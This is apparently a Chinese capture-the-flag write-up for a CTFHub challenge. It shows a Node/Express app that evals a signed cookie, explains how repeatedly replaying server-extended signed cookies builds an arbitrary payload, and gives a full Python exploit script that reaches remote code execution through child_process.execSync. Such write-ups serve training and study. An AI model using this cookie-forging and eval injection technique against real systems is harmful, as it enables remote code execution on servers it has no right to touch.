附件中包含完整源代码

复现平台CTFHUB app.js:

const express = require('express');

const cookieParser = require('cookie-parser')

const crypto = require('crypto');

const randomHex = () => '0123456789abcdef'[~~(Math.random() * 16)];

const app = express();

app.use(cookieParser(crypto.randomBytes(20).toString('hex')));

app.get('/', function (_, res) {

res.cookie('code', '', { signed: true })

.sendFile(__dirname + '/index.html');

});

app.get('/random', function (req, res) {

let result = null;

if (req.signedCookies.code.length >= 40) {

const code = Buffer.from(req.signedCookies.code, 'hex').toString();

try {

result = eval(code);

} catch {

result = '(execution error)';

}

res.cookie('code', '', { signed: true })

.send({ progress: req.signedCookies.code.length, result: `Executing '${code}', result = ${result}` });

} else {

res.cookie('code', req.signedCookies.code + randomHex(), { signed: true })

.send({ progress: req.signedCookies.code.length, result });

}

});

app.listen(5000);

审计代码发现Express中间件cookieParser的签名使用的是随机生成的20位16进制字符,不可破解

但当req.signedCookies.code没有达到40长度时会将在原cookie里添加一个randomHex()

重新返回一个符合规范的Cookie

因而只要保留需要的cookie进行重复操作,拼接完整语句就能实现RCE

然而40字符解码后20字符,不能实现nodejs中的调用系统命令

遂采用eval(req.query.qqq);的方式获取GET参数以绕过

exp:

import requests

import json

def getChar(text):

for i in range(len(text)):

if text[i] == ".":

return text[i-1]

def getCookies(text):

for i in range(len(text)):

if text[i] == "=":

p1 = i

if text[i] == ";":

p2 = i

break

ret = {"code":text[p1+1:p2], "Path":"/"}

return ret

a = "6576616c287265712e71756572792e717171293b" #eval(req.query.qqq);

b = 'require("child_process").execSync("calc").toString()'

url = "http://subdomain.ctfhub.com:10800/random"

s = requests.get(url="http://subdomain.ctfhub.com:10800/")

print(url+f"?a={b}")

cookies = getCookies(s.headers["Set-Cookie"])

print(cookies)

i = 0

while i < len(a):

s = requests.get(url=url,cookies=cookies)

if getChar(s.headers["Set-Cookie"]) == a[i]:

cookies = getCookies(s.headers["Set-Cookie"])

i = i + 1

print(s.headers["Set-Cookie"])

s = requests.get(url=url+f"?qqq={b}",cookies=cookies)

print(s.text)

参考文章

评论可见,请评论后查看内容,谢谢!!!
 您阅读本篇文章共花了: